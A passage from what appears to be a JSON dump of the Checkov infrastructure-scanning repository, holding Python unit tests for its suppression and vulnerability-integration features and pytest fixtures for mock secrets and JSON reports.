self.assertTrue(suppressions_integration._check_suppression(record5, suppression))\n\n    def test_resource_suppression_cli_repo(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"suppressionType\": \"Resources\",\n            \"policyId\": \"BC_AWS_S3_13\",\n            \"comment\": \"No justification comment provided.\",\n            \"resources\": [\n                {\n                    \"accountId\": \"bcorg_org/repo\",\n                    \"resourceId\": \"/terraform/aws/s3.tf:aws_s3_bucket.operations\",\n                }\n            ],\n            \"checkovPolicyId\": \"CKV_AWS_18\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path=',.', entity_tags=None)\n        record1.repo_file_path = '/terraform/aws/s3.tf'\n        record2 = Record(check_id='CKV_AWS_13', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.no', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2.repo_file_path = '/terraform/aws/s3.tf'\n        record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3.repo_file_path = '/terraform/aws/s3.tf'\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n    def test_tag_suppression(self):\n        instance = BcPlatformIntegration()\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"suppressionType\": \"Tags\",\n            \"policyId\": \"BC_AWS_S3_16\",\n            \"comment\": \"No justification comment provided.\",\n            \"tags\": [\n                {\n                    \"value\": \"value1\",\n                    \"key\": \"tag1\"\n                },\n                {\n                    \"value\": \"value2\",\n                    \"key\": \"tag2\"\n                }\n            ],\n            \"checkovPolicyId\": \"CKV_AWS_21\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path=',.',\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n        record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.no', evaluations=None,\n                         check_class=None, file_abs_path='.',\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n        record3 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.',\n                         entity_tags={\n                             'tag1': 'value2222',\n                             'tag2': 'value2'\n                         })\n        record4 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.',\n                         entity_tags={\n                             'tag1': 'value2222',\n                             'tag2': 'value1111'\n                         })\n        record5 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record5, suppression))\n\n    def test_file_v2_suppression_cli_repo(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"ruleType\": \"file\",\n            \"files\": [\n                {\n                    \"repositoryName\": \"1234_org/repo\",\n                    \"filePath\": \"test/file.txt\"\n                },\n                {\n                    \"repositoryName\": \"1234_org/repo2\",\n                    \"filePath\": \"/test/file2.txt\"\n                },\n                {\n                    \"repositoryName\": \"1234_not/valid\",\n                    \"filePath\": \"/test/file3.txt\"\n                }\n            ],\n            \"checkovPolicyIds\": [\"CKV_AWS_18\", \"CKV_AWS_19\"],\n        }\n\n        # this is actually almost the same as a policy check, except we care about the repo name in the integration\n        # record details do not matter, except policy ID\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record1.repo_file_path = '/test/file.txt'\n        record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2.repo_file_path = 'test/file.txt'  # should still match despite missing slash\n        record3 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3.repo_file_path = '/test/file2.txt'\n        record4 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record4.repo_file_path = 'test/file.txt'\n\n        self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression))  # right file, wrong repo\n        self.assertFalse(suppressions_integration._check_suppression_v2(record4, suppression))\n\n        record1.repo_file_path = '/test/file2.txt'\n        record2.repo_file_path = 'test/file2.txt'\n        instance.repo_id = 'org/repo2'  # now check the same thing but with a leading slash in the suppression file\n        self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression))\n\n        instance.repo_id = 'another/repo'\n        self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression))\n\n    def test_apply_suppressions_to_report(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n\n        suppression = {\n            \"suppressionType\": \"Policy\",\n            \"id\": \"7caab873-7400-47f9-8b3f-82b33d0463ed\",\n            \"policyId\": \"BC_AWS_GENERAL_31\",\n            \"comment\": \"No justification comment provided.\",\n            \"checkovPolicyId\": \"CKV_AWS_79\",\n            \"isV1\": True\n        }\n\n        suppressions_integration.suppressions = {suppression['checkovPolicyId']: [suppression]}\n\n        record1 = Record(check_id='CKV_AWS_79', check_name=None,\n                         check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None,\n                         check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3 = Record(check_id='CKV_AWS_79', check_name=None,\n                         check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record4 = Record(check_id='CKV_AWS_2', check_name=None,\n                         check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        report = Report('terraform')\n        report.add_record(record1)\n        report.add_record(record2)\n        report.add_record(record3)\n        report.add_record(record4)\n\n        suppressions_integration._apply_suppressions_to_report(report)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_AWS_1')\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.passed_checks[0].check_id, 'CKV_AWS_2')\n        self.assertEqual(len(report.skipped_checks), 2)\n        self.assertEqual(report.skipped_checks[0].check_result['suppress_comment'], \"No justification comment provided.\")\n\n    def test_apply_suppressions_to_report_with_v2(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n\n        suppression = {\n            \"ruleType\": \"policy\",\n            \"checkovPolicyIds\": [\"CKV_AWS_79\", \"CKV_AWS_80\"],\n            \"isV1\": False,\n            \"justificationComment\": \"comment\"\n        }\n\n        suppressions_integration.suppressions_v2 = {id: [suppression] for id in suppression['checkovPolicyIds']}\n\n        record1 = Record(check_id='CKV_AWS_79', check_name=None,\n                         check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None,\n                         check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3 = Record(check_id='CKV_AWS_80', check_name=None,\n                         check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record4 = Record(check_id='CKV_AWS_2', check_name=None,\n                         check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']},\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        report = Report('terraform')\n        report.add_record(record1)\n        report.add_record(record2)\n        report.add_record(record3)\n        report.add_record(record4)\n\n        suppressions_integration._apply_suppressions_to_report(report)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_AWS_1')\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.passed_checks[0].check_id, 'CKV_AWS_2')\n        # We are omitting policy level suppression\n        self.assertEqual(len(report.skipped_checks), 0)\n\n    def test_get_policy_level_suppressions(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration.suppressions = {\n            'CKV_AWS_252': [{'suppressionType': 'Policy', \"isV1\": True, 'id': '404088ed-4251-41ac-8dc1-45264af0c461',\n                             'policyId': 'BC_AWS_GENERAL_175', 'creationDate': '2022-11-09T16:27:36.413Z',\n                             'comment': 'Test2', 'checkovPolicyId': 'CKV_AWS_252'}],\n            'CKV_AWS_36': [\n                {'suppressionType': 'Policy', \"isV1\": True, 'id': 'b68013bc-2908-4c9a-969d-f1640d4aca11',\n                 'policyId': 'BC_AWS_LOGGING_2',\n                 'creationDate': '2022-11-09T16:11:58.435Z', 'comment': 'Testing', 'checkovPolicyId': 'CKV_AWS_36'}],\n            'CKV_K8S_27': [\n                {'suppressionType': 'Policy', \"isV1\": True, 'id': '271c1a79-2333-4a12-bf7d-55ec78468b94', 'policyId': 'BC_K8S_26',\n                 'creationDate': '2022-12-08T08:00:04.561Z', 'comment': 'test checkov suppressions',\n                 'checkovPolicyId': 'CKV_K8S_27'}],\n            'acme_AWS_1668010000289': [\n                {'suppressionType': 'Resources', \"isV1\": True, 'id': '5565e523-58da-4bc7-970e-c3fceef93ac1',\n                 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.887Z',\n                 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources',\n                                                      'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail9'}],\n                 'checkovPolicyId': 'acme_AWS_1668010000289'},\n                {'suppressionType': 'Resources', \"isV1\": True, 'id': 'adf6f831-4393-4dcb-b345-2a14bf944267',\n                 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.951Z',\n                 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources',\n                                                      'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail10'}],\n                 'checkovPolicyId': 'acme_AWS_1668010000289'},\n                {'suppressionType': 'Resources', \"isV1\": True, 'id': '86d88e69-5755-4e69-965b-f97fc26e784b',\n                 'policyId': 'acme_AWS_1668010000289', 'creationDate': '2022-11-09T16:28:50.838Z',\n                 'comment': 'Testing', 'resources': [{'accountId': 'acme_cli_repo/testing-resources',\n                                                      'resourceId': '/src/BC_AWS_LOGGING_7.tf:aws_cloudtrail.cloudtrail8'}],\n                 'checkovPolicyId': 'acme_AWS_1668010000289'}]}\n\n        suppressions_integration.suppressions_v2 = {\n            \"CKV3_SAST_1\": [{\n                \"ruleType\": \"policy\",\n                \"isV1\": False,\n                \"id\": \"1111\",\n                \"policyIds\": [\"BC_SAST_1\", \"BC_SAST_2\"]\n            }],\n            \"CKV3_SAST_2\": [\n                {\n                    \"ruleType\": \"policy\",\n                    \"isV1\": False,\n                    \"id\": \"2222\",\n                    \"policyIds\": [\"BC_SAST_3\", \"BC_SAST_2\"]\n                },\n                {\n                    \"ruleType\": \"repository\",\n                    \"isV1\": False,\n                    \"id\": \"3333\",\n                    \"policyIds\": [\"BC_SAST_1\", \"BC_SAST_3\"]\n                }\n            ]\n        }\n\n        expected_suppressions = ['404088ed-4251-41ac-8dc1-45264af0c461', 'b68013bc-2908-4c9a-969d-f1640d4aca11',\n                                 '271c1a79-2333-4a12-bf7d-55ec78468b94', '1111', '2222']\n        policy_level_suppressions = suppressions_integration.get_policy_level_suppressions()\n        self.assertEqual(expected_suppressions, list(policy_level_suppressions.keys()))\n        self.assertEqual(policy_level_suppressions['404088ed-4251-41ac-8dc1-45264af0c461'], ['BC_AWS_GENERAL_175'])\n        self.assertEqual(policy_level_suppressions['b68013bc-2908-4c9a-969d-f1640d4aca11'], ['BC_AWS_LOGGING_2'])\n        self.assertEqual(policy_level_suppressions['271c1a79-2333-4a12-bf7d-55ec78468b94'], ['BC_K8S_26'])\n        self.assertEqual(policy_level_suppressions['1111'], [\"BC_SAST_1\", \"BC_SAST_2\"])\n        self.assertEqual(policy_level_suppressions['2222'], [\"BC_SAST_3\", \"BC_SAST_2\"])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_vulnerabilities_integration.py",
    "content": "import os\nimport unittest\nfrom unittest.mock import patch\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.integration_features.features.vulnerabilities_integration import \\\n    VulnerabilitiesIntegration, NORMALIZE_PREFIX\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.sast.report import SastReport\nfrom checkov.common.sast.report_types import Package, File, Function, PrismaReport\n\n\nclass TestVulnerabilitiesIntegration(unittest.TestCase):\n\n    @patch.dict('os.environ', {'CKV_ENABLE_UPLOAD_SAST_IMPORTS':'True', 'CKV_ENABLE_SCA_INTEGRATE_SAST': 'True'})\n    def test_full_enrich_cves(self):\n        instance = BcPlatformIntegration()\n\n        vul_integration = VulnerabilitiesIntegration(instance)\n\n        cve1 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/package.json',\n                      vulnerability_details={\n                          'id': 'CVE-2022-38778', 'severity': 'medium', 'package_name': 'decode-uri-component',\n                          'package_version': '0.2.0',\n                          'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False,\n                                           'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False}\n                      }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None,\n                      check_class=None, file_abs_path='')\n        cve2 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/package.json',\n                      vulnerability_details={\n                          'id': 'CVE-2022-11111', 'severity': 'medium', 'package_name': 'decode-uri-component',\n                          'package_version': '0.2.0',\n                          'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False,\n                                           'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False}\n                      }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None,\n                      check_class=None, file_abs_path='')\n        cve3 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME,\n                      file_path='/no_exists/package.json',\n                      vulnerability_details={\n                          'id': 'CVE-2022-22222', 'severity': 'medium', 'package_name': 'decode-uri-component',\n                          'package_version': '0.2.0',\n                          'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False,\n                                           'AttackVector': 'network',\n                                           'AttackComplexity': 'low', 'IsUsed': False}\n                      }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None,\n                      check_class=None, file_abs_path='')\n        failed_checks: list[Record] = [cve1, cve2, cve3]\n        sast_imports = {\n                        '/innerFiles/code.js': {'all': [\"bson\", \"decode-uri-component\", \"parse-path\"]},\n                        '/main.js': {'all': [\"bson\", \"decode-uri-component\", \"parse-path\"]}\n                        }\n\n        sca_report: Report = Report(check_type=CheckType.SCA_PACKAGE)\n        sca_report.failed_checks = failed_checks\n        sast_report: SastReport = SastReport(check_type=CheckType.SAST_JAVASCRIPT,\n                                             language=SastLanguages.JAVASCRIPT, metadata=None,\n                                             sast_report=PrismaReport(rule_match={}, errors={}, profiler={},\n                                                                      run_metadata={}, imports={},\n                                                                      reachability_report={},\n                                                                      skipped_checks_by_file={}))\n        sast_report.sast_imports = sast_imports\n        merged_reports = [sca_report, sast_report]\n\n        vul_integration.merge_sca_and_sast_reports(merged_reports)\n\n        self.assertTrue(cve1.vulnerability_details.get('risk_factors', {})['IsUsed'])\n        self.assertTrue(cve2.vulnerability_details.get('risk_factors', {})['IsUsed'])\n        self.assertFalse(cve3.vulnerability_details.get('risk_factors', {})['IsUsed'])\n\n    @patch.dict('os.environ', {'CKV_ENABLE_UPLOAD_SAST_IMPORTS':'True', 'CKV_ENABLE_SCA_INTEGRATE_SAST': 'True'})\n    def test_unsupported_sast_lang(self):\n        instance = BcPlatformIntegration()\n\n        vul_integration = VulnerabilitiesIntegration(instance)\n\n        cve1 = Record(check_id='CKV_CVE_2022_38778', check_name=SCA_PACKAGE_SCAN_CHECK_NAME, file_path='/csproj',\n                      vulnerability_details={\n                          'id': 'CVE-2022-38778', 'severity': 'medium', 'package_name': 'decode-uri-component',\n                          'package_version': '0.2.0',\n                          'risk_factors': {'Severity': 'Medium', 'HasFix': True, 'DoS': False,\n                                           'AttackVector': 'network', 'AttackComplexity': 'low', 'IsUsed': False}\n                      }, check_result=None, code_block=None, file_line_range=None, resource=None, evaluations=None,\n                      check_class=None, file_abs_path='')\n\n        failed_checks: list[Record] = [cve1]\n        sast_imports = {\n            'Imports': {'/innerFiles/code.js': {'All': [\"'bson'\", \"'decode-uri-component'\", \"'parse-path'\"]},\n                        '/main.js': {'All': [\"'bson'\", \"'decode-uri-component'\", \"'parse-path'\"]}}}\n\n        sca_report: Report = Report(check_type=CheckType.SCA_PACKAGE)\n        sca_report.failed_checks = failed_checks\n        sast_report: SastReport = SastReport(check_type=CheckType.SAST_JAVASCRIPT,\n                                             language=SastLanguages.JAVASCRIPT, metadata=None,\n                                             sast_report=PrismaReport(rule_match={}, errors={}, profiler={},\n                                                                      run_metadata={}, imports={},\n                                                                      reachability_report={},\n                                                                      skipped_checks_by_file={}))\n        sast_report.sast_imports = sast_imports\n        merged_reports = [sca_report, sast_report]\n\n        vul_integration.merge_sca_and_sast_reports(merged_reports)\n\n        self.assertFalse(cve1.vulnerability_details.get('risk_factors', {})['IsUsed'])\n\n\n    def test_compare_paths_same_level(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        main_file = '/package.json';\n        relative_file = '/main.js';\n        is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file)\n        self.assertTrue(is_relative)\n\n    def test_compare_paths_child_level(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        main_file = '/package.json';\n        relative_file = '/src/main.js';\n        is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file)\n        self.assertTrue(is_relative)\n\n    def test_compare_paths_parent_level(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        main_file = '/src/package.json';\n        relative_file = '/main.js';\n        is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file)\n        self.assertFalse(is_relative)\n\n    def test_compare_paths_relative_level(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        main_file = '/package.json';\n        relative_file = '../main.js';\n        is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file)\n        self.assertFalse(is_relative)\n\n    def test_compare_paths_valid_relative_level(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        main_file = '/src2/../src/main.js';\n        relative_file = '/src/package.json';\n        is_relative = vul_integration.is_deeper_or_equal_level(main_file, relative_file)\n        self.assertTrue(is_relative)\n\n    def test_normalized_package_name_case_dot(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = '../asdas/asdasd/asdasd/asd.txt'\n        expected = f\"{NORMALIZE_PREFIX}asd.txt\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_without_relative(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = 'asdas/asdasd/asdasd/asd.txt'\n        expected = f\"{NORMALIZE_PREFIX}asdas/asdasd/asdasd/asd.txt\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_dot_in_name(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = 'asd.txt'\n        expected = f\"{NORMALIZE_PREFIX}asd.txt\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_relative_package(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = '../asdas/asdasd/asdasd/asd.txt'\n        expected = f\"{NORMALIZE_PREFIX}asd.txt\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_with_underscore(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = 'asd2_asd'\n        expected = f\"{NORMALIZE_PREFIX}asd2asd\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_with_minus(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = 'asd2-asd'\n        expected = f\"{NORMALIZE_PREFIX}asd2asd\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_normalized_package_name_case_simple(self):\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        original = 'asd'\n        expected = f\"{NORMALIZE_PREFIX}asd\"\n        result = vul_integration.normalize_package_name(original)\n        self.assertTrue(result, expected)\n\n    def test_create_reachable_cves_by_package_map(self):\n        filtered_reachability_entries = [\n            ('/index.js', File(packages={\n                'axios': Package(alias='ax', functions=[\n                    Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11')\n                ]),\n                'lodash': Package(alias='', functions=[\n                    Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-12'),\n                    Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-13')\n                ])\n            }))\n        ]\n        instance = BcPlatformIntegration()\n        vul_integration = VulnerabilitiesIntegration(instance)\n        reachable_data_by_package_map = vul_integration.create_reachable_cves_by_package_map(filtered_reachability_entries)\n        assert reachable_data_by_package_map == {\n            'axios': {'cve-11'},\n            'lodash': {'cve-12', 'cve-13'}\n        }\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/output/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/output/conftest.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nimport pytest\nfrom checkov.common.secrets.consts import ValidationStatus\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult\n\nfrom checkov.common.output.secrets_record import SecretsRecord\n\nfrom checkov.common.output.report import Report\n\n\n@pytest.fixture\ndef secrets_report() -> Report:\n    kwargs = {'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock',\n              'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'}\n    record_1 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.FAILED},\n                             validation_status=ValidationStatus.VALID.value, **kwargs)\n    record_2 = SecretsRecord(bc_check_id=\"VIOLATION_2\", resource=\"RESOURCE_2\",\n                             check_result={\"result\": CheckResult.FAILED},\n                             validation_status=ValidationStatus.INVALID.value, **kwargs)\n    record_3 = SecretsRecord(bc_check_id=\"VIOLATION_3\", resource=\"RESOURCE_3\",\n                             check_result={\"result\": CheckResult.FAILED},\n                             validation_status=ValidationStatus.UNKNOWN.value, **kwargs)\n    record_4 = SecretsRecord(bc_check_id=\"VIOLATION_4\", resource=\"RESOURCE_4\",\n                             check_result={\"result\": CheckResult.FAILED},\n                             validation_status=ValidationStatus.VALID.value, **kwargs)\n\n    record_5 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.PASSED},\n                             validation_status=ValidationStatus.INVALID.value, **kwargs)\n\n    report = Report(CheckType.SECRETS)\n    report.add_record(record_1)\n    report.add_record(record_2)\n    report.add_record(record_3)\n    report.add_record(record_4)\n    report.add_record(record_5)\n\n    return report\n\n\n@pytest.fixture()\ndef json_reduced_check() -> dict[str, Any]:\n    return {\n        \"check_id\": \"CKV_GHA_1\",\n        \"check_name\": \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables\",\n        \"check_result\": {\n            \"result\": \"PASSED\",\n            \"results_configuration\": {}\n        },\n        \"resource\": \"jobs(container-test-job)\",\n        \"file_path\": \"/.github/workflows/image_no_violation.yml\",\n        \"file_line_range\": [\n            7,\n            7\n        ],\n        \"file_abs_path\": \"/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml\",\n        \"code_block\": [\n            [\n                7,\n                \"    runs-on: ubuntu-latest\\n\"\n            ],\n        ],\n        \"bc_check_id\": \"BC_REPO_GITHUB_ACTION_1\",\n        \"inspected_key_line\": None,\n        \"evaluated_keys\": None,\n        \"inspected_key\": \"\",\n        \"inspected_value\": \"\"\n    }\n\n@pytest.fixture()\ndef json_reduced_report() -> dict[str, Any]:\n    return {\n        \"checks\": {\n            \"passed_checks\": [\n                {\n                    \"check_id\": \"CKV_GHA_1\",\n                    \"check_name\": \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables\",\n                    \"check_result\": {\n                        \"result\": \"PASSED\",\n                        \"results_configuration\": {}\n                    },\n                    \"resource\": \"jobs(container-test-job)\",\n                    \"file_path\": \"/.github/workflows/image_no_violation.yml\",\n                    \"file_line_range\": [\n                        7,\n                        7\n                    ],\n                    \"file_abs_path\": \"/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml\",\n                    \"code_block\": [\n                        [\n                            7,\n                            \"    runs-on: ubuntu-latest\\n\"\n                        ],\n                    ],\n                    \"bc_check_id\": \"BC_REPO_GITHUB_ACTION_1\",\n                    \"inspected_key_line\": None,\n                    \"evaluated_keys\": None,\n                    \"inspected_key\": \"\",\n                    \"inspected_value\": \"\"\n                }\n            ],\n            \"failed_checks\": [\n                {\n                    \"check_id\": \"CKV_GHA_2\",\n                    \"check_name\": \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables\",\n                    \"check_result\": {\n                        \"result\": \"FAILED\",\n                        \"results_configuration\": {}\n                    },\n                    \"resource\": \"jobs(container-test-job)\",\n                    \"file_path\": \"/.github/workflows/image_no_violation.yml\",\n                    \"file_line_range\": [\n                        7,\n                        7\n                    ],\n                    \"file_abs_path\": \"/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml\",\n                    \"code_block\": [\n                        [\n                            7,\n                            \"    runs-on: ubuntu-latest\\n\"\n                        ],\n                    ],\n                    \"bc_check_id\": \"BC_REPO_GITHUB_ACTION_1\",\n                    \"inspected_key_line\": None,\n                    \"evaluated_keys\": None,\n                    